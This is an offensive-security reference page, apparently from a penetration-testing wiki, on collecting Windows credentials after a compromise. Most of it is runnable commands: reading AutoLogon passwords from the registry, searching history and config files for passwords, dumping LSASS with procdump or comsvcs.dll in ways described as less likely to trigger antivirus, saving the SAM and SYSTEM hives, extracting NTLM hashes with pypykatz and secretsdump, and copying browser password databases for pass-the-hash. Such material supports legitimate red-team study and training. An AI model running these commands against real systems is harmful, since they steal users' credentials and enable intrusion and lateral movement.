# Windows Token and Credential Harvesting

> Covers techniques for extracting Windows access tokens and credentials post-compromise, including token impersonation, LSASS dumping, and privilege escalation.

- **URL:** https://hackindex.io/platforms/windows/post-exploitation/windows-token-and-credential-harvesting
- **Path:** Windows > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/windows/post-exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

After gaining access, credential and token collection is the highest-priority post-exploitation task. Sources to check:

- Registry AutoLogon and stored passwords
- PowerShell and command history files
- Configuration files with hardcoded credentials
- LSASS memory for plaintext passwords and NTLM hashes
- SAM and SYSTEM hives for local account hashes
- Windows Credential Manager and DPAPI-protected data

Credentials recovered here feed lateral movement, and tokens can give you immediate access to other user contexts without needing passwords at all.

## Stored credentials: registry and files

AutoLogon credentials are stored in plaintext in the registry. These are the first place to check: they require no tools and are read with a single command.

**Registry credential sources**

```powershell
# AutoLogon credentials (often plaintext)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

# Putty saved sessions (may contain credentials)
reg query HKCU\Software\SimonTatham\PuTTY\Sessions

# Generic credentials stored by cmdkey
cmdkey /list
```

AutoLogon passwords are frequently set on kiosk machines, jump boxes, and service accounts. If you find a `DefaultPassword` value, try it against every user on the target and against other services (password reuse is common). Stored `cmdkey` credentials can be used with `runas /savecred`: see [Runas Stored Credentials](https://hackindex.io/platforms/windows/privilege-escalation/runas-stored-credentials).

## PowerShell and command history

**Shell history files**

```powershell
# PowerShell history (contains commands, often with -Password flags)
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-Content (Get-PSReadLineOption).HistorySavePath

# Check all users' history if you have read access
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content
```

## Configuration files with credentials

Web application configs, deployment files, and unattended install files frequently contain plaintext credentials. These sit on disk long after installation and are often overlooked.

**Credential-containing files**

```powershell
# Unattended install files (contain admin passwords from deployment)
dir /s C:\ /b | findstr /si unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml
type C:\Windows\System32\Sysprep\Unattend.xml
type C:\Windows\System32\Sysprep\Sysprep.xml

# IIS web.config (database connection strings, app credentials)
dir /s C:\inetpub /b | findstr /si web.config
type C:\inetpub\wwwroot\web.config

# Common config files
dir /s C:\ /b | findstr /si "*.config *.xml *.ini *.txt" | findstr /vi "C:\Windows\System32"

# Search for password strings in files
findstr /si password C:\Users\*\*.txt C:\Users\*\*.xml C:\Users\*\*.ini
findstr /spin "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
```

## LSASS memory dump

LSASS holds NTLM hashes and in older or misconfigured environments plaintext credentials for all interactively logged-in users. Dumping it requires SYSTEM or SeDebugPrivilege. Extract it locally on the target then analyse on your attack box with mimikatz or pypykatz.

**LSASS dump methods**

```powershell
# Task Manager method (GUI: right-click lsass.exe, Create Dump File)
# Saves to C:\Users\<user>\AppData\Local\Temp\lsass.dmp

# ProcDump (Sysinternals: less likely to be flagged)
C:\Windows\Temp\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

# comsvcs.dll method (built-in, no external tool needed)
$lsass = Get-Process lsass
C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\Windows\Temp\lsass.dmp full

# Task Manager equivalent via PowerShell
$id = (Get-Process lsass).Id
Rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $id C:\Windows\Temp\lsass.dmp full
```

**Parse LSASS dump on attack box**

```bash
# pypykatz: parses lsass dumps without needing Windows
pipx install pypykatz
pypykatz lsa minidump lsass.dmp

# Extract NTLM hashes only
pypykatz lsa minidump lsass.dmp | grep -i ntlm

# mimikatz (Windows): if you have a Windows analysis box
# mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
```

## SAM and SYSTEM hive dump

The SAM database holds NTLM hashes for all local accounts. It cannot be read while Windows is running because SYSTEM locks it, but you can copy the hive via reg save or shadow copy, then extract hashes offline.

**Dump SAM and SYSTEM hives**

```powershell
# Requires local Administrator or SYSTEM
reg save HKLM\SAM C:\Windows\Temp\sam.hiv
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

# Transfer to attack box, then extract hashes
# impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
```

**Extract hashes from hive files**

```bash
impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# user1:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
```

NTLM hashes can be used directly for Pass-the-Hash without cracking. See [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket) for how to use them. For cracking, see [Windows Password Attacks](https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks).

## Windows Credential Manager and DPAPI

**Credential Manager enumeration**

```powershell
# List all stored credentials
cmdkey /list

# Read vault files directly (requires access to user profile)
dir C:\Users\$env:USERNAME\AppData\Local\Microsoft\Credentials\
dir C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Credentials\

# Vault files require DPAPI decryption: see DPAPI Credential Decryption guide
```

DPAPI-encrypted credentials require master key decryption. For the full workflow including SharpDPAPI and browser password extraction see [DPAPI Credential Decryption](https://hackindex.io/platforms/windows/privilege-escalation/dpapi-credential-decryption).

## Browser saved credentials

**Browser credential file locations**

```powershell
# Chrome credentials database
dir "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

# Edge credentials database
dir "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"

# Firefox profiles
dir "$env:APPDATA\Mozilla\Firefox\Profiles"

# Copy Chrome Login Data for offline parsing
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\login_data
```

Chrome and Edge credential databases are SQLite files encrypted with DPAPI. Transfer the `Login Data` file and the `Local State` file from the same directory to your attack box and use a tool like `HackBrowserData` or parse with Python and a DPAPI decryption library. The DPAPI decryption is user-context-bound so the extraction is most reliable when running as the target user.

For all the recovered hashes and credentials the next step is lateral movement. See [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket) and [PsExec and SMB Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/psexec-and-smb-lateral-movement).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - secretsdump and other credential extraction utilities
- [pypykatz: GitHub](https://github.com/skelsec/pypykatz) - Python-based mimikatz implementation for parsing LSASS dumps
- [ProcDump: Sysinternals](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) - Legitimate process dump utility, less likely to trigger AV